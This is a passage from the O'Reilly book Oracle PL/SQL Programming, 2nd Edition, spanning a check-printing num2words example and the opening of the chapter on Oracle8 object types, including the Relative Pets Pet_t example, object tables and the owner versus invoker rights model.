   /* Construct number names for one through nineteen. */
   FOR day_index IN 1 .. 19
   LOOP
      v_date := TO_DATE (to_char(day_index) || '-JAN-94');
      words_table (day_index+10) :=
         INITCAP (TO_CHAR (v_date, 'DDSP'));
   END LOOP;

END checks;

Here are some examples of conversion from whole numbers to words:

checks.num2words (99)    ==> Ninety Nine
checks.num2words (12345) ==> Twelve Thousand Three Hundred Forty Five
checks.num2words (5)     ==> Five

I can also put this packaged function to use inside my SQL statement to query up all the information I need to print a check:

SELECT TO_CHAR (SYSDATE, 'Month DD, YYYY'),
       payee,
       amount,
       checks.num2words (amount),
       comment

  FROM bill

 WHERE bill_status = 'UNPAID'

Previous: 17.7 Realities: Calling PL/SQL Functions in SQL | Oracle PL/SQL Programming, 2nd Edition | Next: V. New PL/SQL8 Features
17.7 Realities: Calling PL/SQL Functions in SQL | Book Index | V. New PL/SQL8 Features
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] Object Types

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: V. New PL/SQL8 Features Chapter 18 Next: 18.2 Oracle Objects Example

18. Object Types

Contents:
Introduction to Oracle8 Objects
Oracle Objects Example
Syntax for Creating Object Types
Manipulating Objects in PL/SQL and SQL
Modifying Persistent Objects
Object Housekeeping
Making the Objects Option Work

In the last ten years, those of us who spend our lives with computers have probably seen and heard a lot about object-oriented (OO) programming and how it has revolutionized software development. Proponents cite the time-worn analogy with the integrated circuit (IC), which has allowed computer hardware manufacturers to bind together larger and larger reusable units into more and more powerful machines. "If only software people could match the pace of the hardware people," lament the advocates of objects. If we could build systems using reusable "software ICs," programming would be faster and more reliable, and we could address complex problems with relative ease. Detractors argue that, in contrast to relational theory, object approaches have no mathematical foundation, and they also shudder at the thought of turning the average corporate programmer into the rocket scientist needed to code in strangely popular OO languages. How many PL/SQL developers do you know, for example, who can also program in C++? For most of us, one look at the mysteriously juxtaposed punctuation marks gives us the heebie jeebies.

Of course, object orientation is much more than "programming in C++," just as relational databases are much more than "programming in SQL." The application programming language is only the last tool in the life cycle; techniques, methods, and user interfaces can now bear the object-oriented moniker. In fact, many Oracle users have been practicing at least some aspects of object orientation for years using solid engineering design principles, with SQL and PL/SQL as tools. If you model your system using entity-relationship diagrams, you have experience with "entities" that share many characteristics with objects. Not that I date from the Mesozoic era of computing history, but allow me to point out that the idea that programmers can modularize code into reusable fragments, and that data structures can include rich typing systems, predate Smalltalk and Simula, the first object languages.

Maybe you're a true believer in the software IC, or maybe your response is "objects, schmobjects, who needs `em?", or maybe objects haven't even been on your radar screen because you're living with Oracle, and Oracle is, well, a relational database, with only rows and columns. That used to be true. Now with Oracle's objects option, the database can contain not only rows and columns, but also complex data structures which encapsulate both data and behavior.

Because objects may be new to many readers, this chapter will introduce objects concepts and terminology before plunging into the details of the Oracle objects option. First we'll look at the objects option in the context of the relational features of the Oracle server, and give some examples of places where objects can be used. To put the subject in the broader technology context, we'll also step back to look at what it means to be object-oriented, and how Oracle fulfills the object motif. Next, we'll show an extended example of creating and using Oracle objects for a hypothetical pet store, introducing salient points about using objects in a step-by-step fashion. Only then will we take a more in-depth look at the syntax and rules of usage in both PL/SQL and SQL. We'll also present four different technical strategies for applying object approaches in a new application. Finally, we'll look at housekeeping and the unpleasant business of modifying object designs, and conclude with a few words on making your object initiative work.

Although this chapter covers all aspects of using objects in PL/SQL, we don't have space to cover every possible aspect of using objects in the server. Some of the things we don't discuss in detail include: triggers on object tables (since objects do not alter what you already know about triggers from Oracle7); ways of using PL/SQL objects with the Oracle Call Interface (OCI) for C or C++; and some of the physical storage considerations of objects.

18.1 Introduction to Oracle8 Objects

When a mainstream vendor like Oracle Corporation ventures into new technology waters, it is virtually certain that the change will be evolutionary rather than revolutionary. True to form, Oracle8's relational capabilities are still the mainstay of Oracle Corporation's flagship database server, and these capabilities satisfy the need for compatibility with older Oracle versions. But with the objects option, Oracle8 allows programmers to use a new set of datatypes and models drawn from object programming languages, allowing persistent objects[1] to be created in the database and accessed, via an API, from C++, Smalltalk, Object COBOL, Java, and other languages.

[1] "Persistence" is the characteristic illustrated when an object "sticks around" from one program session to the next, something taken for granted in the relational world. If all you have is an object-oriented language like Smalltalk or C++, you have to either do extensive custom programming to achieve object persistence, or use an OODB.

Contrast this "object-relational" database approach with the true "object-oriented databases" (OODBs) that first appeared commercially in the mid-1980s. Pure OODBs are most successful in problem domains characterized by complex, often versioned, data (such as engineering, CASE, or CAD); they typically extend the type system of object-oriented languages to allow for persistent objects. Oracle8, on the other hand, extends the programming system of the database to allow for operations, and extends conventional datatypes to include complex structures. While these object extensions to SQL and PL/SQL sometimes look as if they were designed merely to confuse the programmer, object types in Oracle, properly implemented, can be the cornerstone of an overall object strategy. (And at least they don't use alien punctuation!)

18.1.1 Terminology

The first big hurdle to cross is the nomenclature; object technology in general, and Oracle8 in particular, seem to litter us with terms that seem familiar but aren't. For example, even prior to Oracle8, Oracle did have objects -- that is, tables, indexes, packages, procedures, etc. -- in fact, you can see them all in the USER_OBJECTS view. Now we have something most precisely called object types, which can have object instances, the latter of which are referred to simply as objects. Even more ironically, these objects don't show up in the USER_OBJECTS view (object types do, though). Confused? To keep things straight in this chapter, items you've always seen in USER_OBJECTS I'll call the database objects, and Oracle8 objects I'll call simply objects.

Rather than lob all the new terminology at you in eye-glazing detail, I'll introduce the most important terms first, and present the others as needed. These terms are not strictly from the lexicon of object-oriented purists, but are defined in an Oracle context.

Object type

An Oracle database construct, managed via Data Definition Language (DDL) extensions, that defines a data structure (attributes) and the legal operations (methods) on the attributes. The type is only a template and holds no data itself; you may create variables, tables, columns, and other constructs of this type. If you are familiar with object terminology, note that an object type is the closest thing to a class. It is also very similar to an abstract data type (ADT).

Object

An instance of an Oracle8 object type. The object is the place where the actual data resides. Objects may be stored within tables (in such cases, they are called persistent), or they may exist only temporarily in PL/SQL variables, in which case they are called transient.

Attribute

A structural part of an Oracle object, roughly akin to a column in a table. Each attribute must be of a single datatype, either scalar, like VARCHAR2 or INTEGER, or composite, like a user-defined nested table or another (nested) object. Scalar attributes are sometimes called simple, and composite attributes may be referred to as complex.

Method

A procedure or function, usually implemented in PL/SQL, that (typically) operates on an object's attributes. The methods for an object can only be invoked in the context of a specific object of that type. Similar to a program unit in a PL/SQL package, a method has a specification which is separate from its body. Method bodies can also be implemented in C (or other languages) and can be invoked as an Oracle "external procedure" (see Chapter 21, External Procedures). There is a special default method supplied by Oracle, a constructor, that initializes objects.

18.1.2 Some Simple Examples

To give you a better sense of how object technology works in Oracle, let's look at some specific code samples that use objects. The following examples use a simple object type, Pet_t. Don't worry too much about what all the syntax means yet; we'll review it in detail later. First, let's define the object type:

CREATE TYPE Pet_t AS OBJECT (
   tag_no INTEGER,
   name VARCHAR2(60),
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER)
      RETURN Pet_t
);

This object type has two attributes, tag_no and name, and one method, set_tag_no. But the method won't do anything until we create the associated body for the object type:

CREATE TYPE BODY Pet_t
AS
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER) RETURN Pet_t
   IS
      the_pet Pet_t := SELF;  -- initialize to "current" object
   BEGIN
      the_pet.tag_no := new_tag_no;
      RETURN the_pet;
   END;
END;

SELF is a way of referencing the object on which the method is invoked. This method returns an object with its tag_no attribute set to a new value.

Using this object type, here are some code fragments illustrating different applications of the type. Object types can serve as the datatype of any of a number of different entities.

An object type can serve as the datatype of each of the rows in a table. The table is then referred to as an object table, and it contains row objects; that is, each row is an object instance:

CREATE TABLE pets OF Pet_t;

-- Now we can create an object (object instance) of type Pet_t
INSERT INTO pets VALUES (Pet_t(23052, 'Mambo'));

An object type can serve as the datatype of a column. The column is then said to contain column objects. Different columns in a table could be of different object types. (The example below also uses Address_t, an object assumed to be already defined. Curiously enough, it contains attributes and methods appropriate to street addresses.)

CREATE TABLE families (
   surname VARCHAR2(50),
   favorite_pet Pet_t,
   address Address_t);

An object type can serve as the datatype of a local variable . Here, we declare and initialize an object variable in one statement. The initialization uses the automatically available constructor which has the same name as the datatype:

DECLARE
   my_pet Pet_t := Pet_t(23052, 'Mambo');
    ^       ^        ^
    |       |         constructor
    |     type
  variable

An object type can serve as the datatype of a PL/SQL return parameter. Functions may also return object types, as the example shows. The VALUE operator is needed to retrieve a table object:

CREATE FUNCTION find_pet (the_tag_no IN NUMBER) RETURN Pet_t
IS
   the_pet Pet_t;
   CURSOR pet_cur IS
      SELECT VALUE(p)
        FROM pets p
       WHERE tag_no = the_tag_no;
BEGIN
   OPEN pet_cur;
   FETCH pet_cur INTO the_pet;
   CLOSE pet_cur;
   RETURN the_pet;
END;

An object type can serve as the datatype of a nested table or VARRAY. This is possible as long as the object type has no TABLE or VARRAY attributes itself:

CREATE TYPE homeless_pet_t AS TABLE OF pet_t;

An object type can serve as the datatype of a "field" in a record variable. Nothing terribly exotic here:

DECLARE
   -- first define the type
   TYPE family_t IS RECORD (
      surname VARCHAR2(50),
      favorite_pet Pet_t);

   -- now declare a variable of that type
   family family_t;

18.1.3 Comparison: Oracle8 Objects and Earlier Features

In practical terms, object types live inside the Oracle database rather than inside PL/SQL programs. That is, you must issue the SQL DDL statement, CREATE TYPE ... AS OBJECT in order to create a type; only then can you use the type within PL/SQL. Once created, an object type defines an interface to a set of data. There is no good analogy for this behavior in Oracle7. An object type isn't really like a table, since it holds no data, but you can create tables based on the type.

An object type is a bit more like a package that contains only type declarations and functions that operate on those types. This is especially true since the object type, like the package, can have a separate "body" section in which to implement its procedures and functions (methods). There are key differences, though; perhaps most significantly, code in the object type body can only be invoked on a particular object. That is, you cannot call a method unless you also indicate an object instance on which to apply it. In addition, you can't create a table based on a package specification, the way you can create a table from an object type, and object types cannot include constants, exceptions, cursors, or datatypes. Table 18.1 compares the new object features with features of tables and packages.

Table 18.1: Comparing Oracle8 Objects to Earlier Oracle Features
Characteristic | Oracle7 Table | Oracle7 Package | Oracle8 Object
Stores data | Yes | Temporary only; package variables exist for duration of session | Object instance data may be persistent (stored in tables) or transient (stored in variables)
Serves as a template | No | No | Object types serve as a template for object instances
May contain complex data | No; normalized columns contain scalar values only | Yes; some datatypes such as RECORD and TABLE types do not require the objects option | Yes (requires objects option installed)
Contains procedural code | No (except for table triggers) | Yes | The code is in the object type definition, but can be invoked only on a specific instance
Has a body separate from its specification | N/A (in the case of triggers, the answer is no) | Yes | Yes (object type definition has separate body for method implementation)
May expose constants, exceptions, cursors, or datatypes | N/A (in the case of triggers, the answer is no) | Yes | No
Rights model (see "Privileges" later in this chapter) | Owner must explicitly grant DML privileges on table to user or role | If owner grants EXECUTE to invoker, latter inherits owner's DML privileges | Currently, if owner grants EXECUTE to invoker, latter inherits owner's DML privileges

18.1.4 Characteristics of Objects

Whether or not you have a background in the object-oriented world, you might find it useful to review some of the characteristics of objects and how they are implemented in Oracle. This section does not try to present a complete treatment of objects, but only a primer on the core principles.[2]

[2] The technically inclined who want more a detailed discussion of the technology can refer to Grady Booch's Object-Oriented Analysis and Design with Applications, Benjamin/Cummings, 1994. The managerially inclined might enjoy David A. Taylor's Object-Oriented Technology: A Manager's Guide, Addison-Wesley, 1990.

In a frequently cited work on the object approach, James Rumbaugh introduces four characteristics of objects: identity, classification, inheritance, and polymorphism.[3] Using this taxonomy as a starting point, let's dive in.

[3] See Rumbaugh, James., et al. Object-Oriented Modeling and Design, Prentice Hall, 1991.

An object is a "thing," like a pet, or a contract, or a holiday, which is discrete and identifiable, which shares characteristics with other like objects. One of the major thrusts of object orientation is that its approach to modeling and implementing systems relies on an intuitive mapping of the problem space -- the actual pet, for example -- to a programmatic or database representation. The argument goes that the relational world is a bit artificial when it introduces one table to hold a list of animals, and another table to hold a list of vaccinations that the animal has received.

18.1.4.1 Identity

Since each object has identity, each object also has a unique identifier or handle. Even if all the properties of two different objects are identical, each has a different identity. Often, object-oriented programming systems assign invisible arbitrary numbers to serve as handles.

In Oracle8, unique object identifiers are automatically assigned to objects when they are stored as "table objects." It turns out that this identifier is stored in a hidden 16-byte RAW field. This "object identifier," or OID, can be referenced from columns in other tables, much as a primary key can be referenced from a foreign key.

18.1.4.2 Classification

Just as the human observer groups real-world objects into categories, so can the programmer in an object-oriented programming language. Objects are put into categories which share characteristics or properties, as well as legal operations on the category, or methods. In many languages, these categories are called classes. A more generic academic term for a class is an abstract data type or ADT; in fact, early beta versions of Oracle8 used the term "ADT" rather than "object type."

The actual object, such as the red-haired mutt named Mambo, is known as an instance of a class or object type Dog, in much the same way that a row in a relational table can be described as an instance of a relation.

In Oracle, objects are classified into object types, and properties are called attributes. Methods are either member functions or member procedures.

18.1.4.3 Inheritance

Although there are few things that object practitioners agree on, one is that any language that claims to be object-oriented must support inheritance. Inheritance allows for hierarchies in which each child has characteristics of its parent. Each level in the type hierarchy has properties which can be shared by those beneath it; lower levels can have their own specialized attributes or functions as well.

As an example, our Dog type might exist as a subtype of a Pet type. So if a Pet has a name, each Dog would have a name, and you would not need to define this property a second time. The Dog type might extend the Pet type by including a dog-specific attribute such as is_house_trained. Note that this hierarchy allows the inheriting of properties and methods; it is not a hierarchy of data, like an Oracle CONNECT BY scheme.

From an object programming standpoint, the bad news is that Oracle 8.0 does not directly support inheritance. You cannot create a user-defined object type as a subtype of another. As a corollary, you cannot reuse method definitions. The good news, though, is that the ANSI and ISO committees working on object-oriented extensions to SQL are forming a position on how inheritance should behave in object-relational databases.[4] If history is any indicator, Oracle will move quickly to adopt as much of the new standard (known as SQL3), as possible. As we go to press, SQL3 is still a bit fluid, and the Oracle user community still has an opportunity to communicate to Oracle the most important inheritance features from a user perspective. Do we need multiple inheritance? Do we have to have late method binding? If you have an opinion, let Oracle know!

[4] A discussion of the committees' work on object extensions appears at http://info.gte.com/ftp/doc/activities/x3h7/by_model/SQL3.html.

Although inheritance gets much attention in object technologies, it is one of several types of relationships that can be incorporated into an object model or, in some languages, an object implementation. Inheritance is often described as an is-a relationship; that is, a Dog is-a Pet.[5] Other prominent relationships include aggregation and association. Aggregation occurs where one object is composed, at least in part, of other objects; you could call it a part-of relationship: a Tail is part-of a Dog. Association is a more generic, usually named relationship, indicating some other link between object types, as in a Dog gets examined by a Veterinarian.

[5] Viewing inheritance as synonymous with "is-a" relationships can sometimes be too simplistic. Martin Fowler describes a number of scenarios where doing so can lead to logical errors. See UML Distilled: A Concise Guide for Applications Developers, Addison-Wesley, 1997.

While these relationship types are common in object modeling nomenclatures such as the Unified Modeling Language (UML),[6] relational models rarely categorize them using these names. However, a kind of pseudo-inheritance is available in an entity-relationship (ER) model that uses supertype/subtype entities, which can be transformed into several different physical implementations. Aggregation and association can be represented as named relationships among entities and then transformed into foreign keys. The Oracle objects extension does give us the ability to create relationships using a new kind of pointer called a reference(REF), described later in this chapter.

[6] UML, the combined effort of Rational Corporation's object mavens Grady Booch, James Rumbaugh, and Ivar Jacobson, is expected to figure prominently in Oracle Corporation's object modeling conventions and tools. Visit http://www.rational.com/uml/index.html or http://www.rational.com/uml/1.1/index.html for documentation of the latest UML standard.

18.1.4.4 Polymorphism

Polymorphism, by one definition, means that a given operation behaves consistently even when applied to different datatypes. You can implement polymorphism in at least two different ways, even without the Oracle objects option:

  1. Module overloading (see Chapter 15, Procedures and Functions) allows a given PL/SQL module to have multiple specifications and bodies, distinguished by the datatype of the arguments supplied.

  2. Programmers can implement a kind of ad hoc polymorphism in the way they program object types. For example, a Pet type might implement an operator called LIST_ME which gives a simple ability to display its contents on a report. This operator could be implemented in other object types as well.

The idea here is that a common core of functionality exists across the population of object types; each object knows how to respond to the requests sensibly. The classical form of polymorphism is one in which an object is not of a single type but actually represents many types, all of which are descendants of some common supertype; this behavior in fact exists in PL/SQL's implicit datatype conversions. For example, you can add a real number to an integer using a polymorphic "+" operator.

18.1.5 Object Programming Themes

While object-oriented programming languages have special features to support object identity, classification, inheritance, and polymorphism, software developers can adopt the general themes of object orientation in many languages. These themes[7] include:

[7] Again, see James Rumbaugh.

  • Information hiding

  • Abstraction

  • Combining data with behavior

  • Decomposition of things, not processes

18.1.5.1 Information hiding

When I first learned about "information hiding," I said to myself, "Why in the world do we want to hide information? Isn't more better?" That was before I had worked on systems from the Jackson Pollock[8] school of design. Now I can say with conviction that hiding the internals of a software construct, and carefully limiting its public interface, is a good thing. Not only does it make for fewer unnecessary bits competing for attention in my limited biological CPU, it also brings clarity to application design, and keeps other modules from relying on the unsavory details.

[8] Jackson Pollock (1912-1956) was an American painter prominent in the Abstract Expressionist movement. His paintings abandoned the idea that composition should be expressed as the relationship among parts. Some say his paintings look as if he tossed paint cans at the canvas.

One beautiful way that PL/SQL supports information hiding is by separating specifications from bodies and allowing separate recompilation. This separation is available to both packages (since Oracle7) and object types. In addition, package bodies can include "private" local variables, procedures, and functions which cannot be invoked outside the package.

Oracle 8.0.3 does not support private methods inside an object body, but we can hope that such a feature will appear in a future release.

18.1.5.2 Encapsulation

Encapsulation, a sister concept to information hiding, asserts that you can only "get at" an object's contents using predefined functions. The extreme degree of encapsulation asserts that no data can be viewed or modified except through explicitly defined (or inherited) methods. This allows the programmer to retain control of the data, and helps reduce the impact of schema changes. By establishing cleanly defined object interfaces, we can develop decoupled, reusable modules that can be made to fit together gracefully even when future requirements change.

Encapsulation was gracefully achievable as early as Oracle7 using packages. By putting all DML into procedures and functions and requiring applications to use these modules rather than issuing direct INSERT, UPDATE, or DELETE statements, developers can realize enormous long-term benefits. Oracle objects extend the encapsulation options available to programmers to include object methods.

Oracle still allows server-side database triggers on object tables. In one sense, these triggers violate encapsulation because they allow PL/SQL code to modify object contents directly. However, in keeping with Oracle's hybrid object-relational strategy, you can use triggers if they make sense to your application.

18.1.5.3 Abstraction

The concept of abstraction includes both data abstraction and functional abstraction. An example of abstraction is a purchase order.[9] With a programming system that allows us to implement abstract datatypes, we can represent a purchase order as a purchase order object, rather than as a parent table, plus a child table of line items, plus a number of applications to manage the tables. In the real world, purchase orders can be created, edited, completed, and destroyed. In our object-oriented program, a single purchase order ADT would be defined using whatever complex data structures are appropriate, and would include methods for each of the corresponding real world operations.

[9] The purchase order example is particularly common in Larry Ellison speeches.

One assumption about abstraction is that dealing with fewer "things" in the program can reduce the likelihood of errors. In addition, only by the practice of abstraction can we possibly build and maintain extremely large, distributed systems.

With the Oracle objects option, the essential structure we use to create an abstraction is the object type. While PL/SQL packages can also implement an ADT, programmers have typically used packages only for the abstraction of complex processing. Objects, on the other hand, are designed to encourage both process abstraction and data abstraction. These abstractions can encompass complex, multi-level structures. For example, an Oracle object may contain other embedded objects, collections (similar to arrays), and references (pointers) to other objects.

18.1.5.4 Combining data with behavior

In a typical relational application, there is a database schema consisting of a number of possibly normalized tables, plus a body of application code that manipulates the data. During design, analysts model the entity relationship graph separately from the module hierarchy, and this can result in the need for complex cross-reference matrices which can be costly to develop and more challenging to maintain.

In contrast, in an object model, the data and the legal operations on the data are co-located. In an object implementation, attributes and methods are welded into a single reusable part. A good object design means that there are fewer interconnections to deal with, increasing the likelihood of both reusability and adaptability.

Oracle now directly supports this object programming theme, storing data in object attributes (persistent or not), with behavior defined by object methods.

18.1.5.5 Decomposition of things, not processes

It is common knowledge that changing a database's table design after the applications are built is a risky and expensive proposition. Database professionals have for years known that data structures are more stable than processes. That's why we require large scheduling windows (and expensive support tools) for entity-relationship modeling and database design.

Object programming carries this argument one step further, into the design of applications themselves. A well-designed object application, rather than being a hierarchy of sequential procedures exchanging flow of control, is more akin to a community of objects exchanging messages.

Non-object approaches, by contrast, often emphasize functional decomposition: breaking a problem, and its solution, into a series of processing steps. One problem with this type of approach is that, over time, the processes in the problem space are likely to change, and this will force extensive changes in the application. An object-oriented decomposition of the same problem, if properly designed, would require fewer changes.

Previous: V. New PL/SQL8 Features | Oracle PL/SQL Programming, 2nd Edition | Next: 18.2 Oracle Objects Example
V. New PL/SQL8 Features | Book Index | 18.2 Oracle Objects Example
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.2 Oracle Objects Example

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.2 Oracle Objects Example

Relative Pets, a combination pet store and animal hospital, is developing a database to help track their clientele. They tend to take an animal-centric view of the world, so their main entity is the Pet. They're also working on a web site where they can post photos of some critters that have been put up for adoption. Being on the foreleg of technology, they of course want to use an object-relational database like Oracle8.

18.2.1 Defining the Object Type Specification

We'll start simple. In this example, all of the attributes are primitive datatypes rather than objects or collections. The photo attribute is of the Oracle8 datatype BFILE, which is simply a reference to a file stored in the operating system (see Chapter 4, Variables and Program Data). We'll follow the convention that object type names start with a capital letter and end in "_t."

CREATE OR REPLACE TYPE Pet_t AS OBJECT (
   tag_no INTEGER,            -- pet license number
   name VARCHAR2(60),         -- name of pet
   animal_type VARCHAR2(30),  -- dog, cat, ferret,...
   sex VARCHAR2(1),           -- M/F
   photo BFILE,               -- JPG image in O/S file
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER)
      RETURN Pet_t,
   MEMBER FUNCTION set_photo (file_location IN VARCHAR2)
      RETURN Pet_t,
   MEMBER PROCEDURE print_me
);
/

This type contains scalar attributes and three methods. Note that the member functions return a value of type Pet_t. This affords flexibility in how the methods can be used later on.

NOTE: In SQL*Plus, you must enter the trailing slash after a CREATE TYPE or CREATE TYPE BODY statement. From this point forward in this text, we omit this trailing slash.

18.2.2 Defining the Object Type Body

To implement the methods, create the object type body, using a syntax that is remarkably similar to that used to create a package body:

CREATE OR REPLACE TYPE BODY Pet_t AS
   /* set_tag_no: Starting with the attributes of the "current"
   || pet object, return a new pet object with a new tag number.
   */
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER)
      RETURN Pet_t
   IS
      the_pet Pet_t := SELF;  -- initialize to current object
   BEGIN
      the_pet.tag_no := new_tag_no;
      RETURN the_pet;
   END;

   /* set_photo: Return new pet object with new photo filename.
   || Use BFILENAME, a built-in Oracle function that accepts
   || a directory alias and filename and returns a value of
   || type BFILE.
   */
   MEMBER FUNCTION set_photo (file_location IN VARCHAR2)
      RETURN Pet_t
   IS
      the_pet Pet_t := SELF;
   BEGIN
      the_pet.photo := BFILENAME('WEB_PHOTOS', file_location);
      RETURN the_pet;
   END;

   /* Do a simple listing of this object. Don't deal with the
   || contents of the photo, just its name.
   */
   MEMBER PROCEDURE print_me
   IS
      directory_alias VARCHAR2(60);
      file_name VARCHAR2(60);
   BEGIN
      DBMS_LOB.FILEGETNAME(SELF.photo, directory_alias, file_name);
      DBMS_OUTPUT.PUT_LINE('Tag No : ' || tag_no);
      DBMS_OUTPUT.PUT_LINE('Name   : ' || name);
      DBMS_OUTPUT.PUT_LINE('Type   : ' || animal_type);
      DBMS_OUTPUT.PUT_LINE('Sex    : ' || sex);
      DBMS_OUTPUT.PUT_LINE('Photo  : ' || file_name);
   END;
END;

This code introduces a couple of syntactic devices that we'll cover in detail later, namely the use of the "default constructor" to create an object of the designated type, and the use of the SELF parameter as a means of referring to the object and its component attributes. Notice that this code makes no mention of any tables in the database.

We haven't created a comprehensive implementation of this type yet, since we haven't coded methods for setting all of the attributes. Eventually, there could be quite a large number of new attributes, each of which could be managed by at least one method. Yes, an object approach can get a bit code-happy if you look at how the objects are implemented "under the covers." You may be asking yourself, why use these trivial procedures for setting attribute values? Why not expose the attributes and let application programs just set the value?

Although exceptions exist, a convention of the object approach is that all operations on object data must be implemented by methods. As soon as you allow the use of a back door to manipulate data, you have violated encapsulation, and you are asking for the same kind of trouble you'd get with excessive use of global variables: code that breaks easily, with low confidence that modifications will be free of errors, and, in general, high maintenance costs (see the discussion of global variables in Chapter 16, Packages). It's true enough that comprehensive object definitions can be code intensive; the payback comes later on, during maintenance and future development, when well implemented objects are less likely to break and more likely to facilitate reuse and resilience.

18.2.2.1 PL/SQL usage

To create an object based on a type -- that is, to instantiate it -- you can use a default constructor, a function that Oracle makes available as soon as you create a type. The constructor has the same name as the object type, and accepts each attribute as an argument, in the order in which attributes are declared in the object type definition. That is, Pet_t is both the name of an object type and the name of the corresponding default constructor:

DECLARE
   the_pet Pet_t;
BEGIN
   -- Instantiate the_pet using the default constructor
   the_pet := Pet_t(104525, 'Mambo', 'DOG', 'M',
      BFILENAME('WEB_PHOTOS','Mambo.jpg'));

   -- Invoke a method to change the tag number of the_pet
   the_pet := the_pet.set_tag_no(104552);

   -- Print a listing about the_pet
   the_pet.print_me();
END;

Notice the syntax for invoking the set_tag_no and print_me methods on the_pet. This object.method syntax is not uncommon in other OO languages. It's different from package.procedure_or_function syntax, because what you find on the left side of the dot is an object instance. That is, a correct call is:

the_pet.set_tag_no(104552)  -- the_pet is a variable of type Pet_t

rather than:

Pet_t.set_tag_no(104552)  -- invalid; what pet's no. are we changing?

You have to tell Oracle which particular object instance you want to use.

If you prefer, you can use a method invocation that is almost indistinguishable from a conventional packaged function or procedure call, with either named or positional notation. The following calls show how you can simply supply the object instance as the SELF parameter (more about SELF later):

Pet_t.set_tag_no (the_pet, 104552)
Pet_t.set_tag_no (SELF=>the_pet, new_tag_no=>104552)

18.2.2.2 DDL usage

To create a database structure that will hold persistent objects of a given type, it's blissfully easy to create an object table:

CREATE TABLE pets OF Pet_t
   (PRIMARY KEY (tag_no));

This creates a table with columns for the attributes. The table also has other special characteristics, such as a hidden object identifier column, on which Oracle automatically creates a unique index. As implied by the PRIMARY KEY clause, it also creates a relational primary key constraint -- and therefore an additional unique index -- on the tag_no column. (You cannot, by the way, use a nonscalar column such as a REF or a collection as the primary key.)

Encapsulation of Persistent Objects in Oracle?

A conceptually pure implementation of encapsulation would restrict all operations on the object's attributes, meaning that: (1) you would need to implement methods for every different read and write operation; and (2) it would be impossible to read or write object data without using these methods.

In practical terms, this means that if you design objects to be responsible for their own persistence -- in other words, you program the methods to know how to perform DML on table(s) that implement the object type -- you should not have to grant table-level INSERT, UPDATE, or DELETE privileges to anyone using the object. Instead, you should be able to simply grant EXECUTE on the object type to the Oracle user or role.

For improved reusability, however, there may be cases where you want public object methods to execute under the privilege set of the invoker rather than the object owner. How does this affect reuse? Remember that object types are only templates, not actual tables or columns. Under the owner rights model, if another Oracle user attempted to reuse a type definition "template," he might receive a load of inappropriate privileges, even if only during method execution. And he would wind up making a copy of the object type rather than reusing it -- not an ideal situation, but not the end of the world.

By contrast, under an invoker rights model, you would have to grant SELECT, INSERT, UPDATE, and/or DELETE on the object table to every user who needs to perform these operations. Once you do that, encapsulation is lost, since these operations are perfectly happy to attack the data from the relational side, undermining object encapsulation.

By relying strictly on owner rights, Oracle 8.0.3 may limit reuse, but at least it does not require you to violate encapsulation. If you GRANT EXECUTE ON object_type TO username, the user will execute any object methods under the privilege domain of the owner. If the object type owner can delete a table, and writes a table deletion method, the user will also be able to execute that method to delete from the table.

If Oracle implements an invoker rights model, how should they do it? In my opinion, Oracle should give PL/SQL developers a choice: we should be able to decide which rights model a given method will use. This option would afford the designer both flexibility for reuse and the security of encapsulation.

Without such a choice, a strict invoker rights model could essentially mean that you would not want to read or write persistent objects directly from object methods. Instead, your methods would have to call modules in PL/SQL packages (or vice versa) which manipulate the database, presuming that packages still operated under the owner rights model.

The package-encapsulating strategy was available even in Oracle7; schematically, it looks like this:

CREATE TABLE foo (...);
/* foo can be a conventional table or an object table */

CREATE PACKAGE manage_foo AS ...
/* manage_foo contains stored procedures and functions that
|| encapsulate all DML on the foo table. It could also contain
|| REF cursors to encapsulate SELECTs.
*/

GRANT EXECUTE ON manage_foo TO taylor, fernando, kim;
/* Alternatively create an Oracle "role" and grant execute
|| on the role to the users
*/

Proving to ourselves that our table looks right, we can do a "describe" on it as follows:

SQL> desc pets
 Name                            Null?    Type
 ------------------------------- -------- ----
 TAG_NO                                   NUMBER(38)
 NAME                                     VARCHAR2(60)
 ANIMAL_TYPE                              VARCHAR2(30)
 SEX                                      VARCHAR2(1)
 PHOTO                                    BINARY FILE LOB

and we can insert a record object into the table:

INSERT INTO pets VALUES(Pet_t(1044526,'Socks','CAT', 'M',
   BFILENAME('WEB_PHOTOS', 'socks.jpg')));

The INSERT statement uses the constructor in the VALUES clause.[10] Now the object can continue its life more or less permanently in a database table. It can get retrieved by PL/SQL programs or referenced by other tables as needed. However, up to this point, we have not defined any methods that will manage the persistent data. We'll see later how to design these additional methods you have to invoke when programs need to change the state of a persistent object.

[10] This statement also assumes that we have already created the WEB_PHOTOS directory alias using the SQL CREATE DIRECTORY statement, as in: CREATE DIRECTORY web_photos AS '/u01/www/images/photos'.

18.2.3 Adding Complex Data Structures

As a dues-paying member of the SPCA, Relative Pets keeps a vaccination history on each animal. To introduce the rich data structures available to objects, we can create a nested table datatype to hold information about vaccinations. Each pet can have many vaccinations.

CREATE TYPE Vaccination_list_t AS TABLE OF VARCHAR2(30);

(See Chapter 19, Nested Tables and VARRAYs, for more information about this new collection type.) Since we are going to track the owners of the pets, we could benefit from having a "person" object. For now, we won't give this object type many attributes, but we will implement the RESTRICT_REFERENCES pragma so that we can use its "full_name" function in DML (see Chapter 17, Calling PL/SQL Functions in SQL, for a full discussion of this pragma):

CREATE TYPE Person_t AS OBJECT (
   person_id INTEGER,
   last_name VARCHAR2(60),
   first_name VARCHAR2(30),
   MEMBER FUNCTION full_name RETURN VARCHAR2,
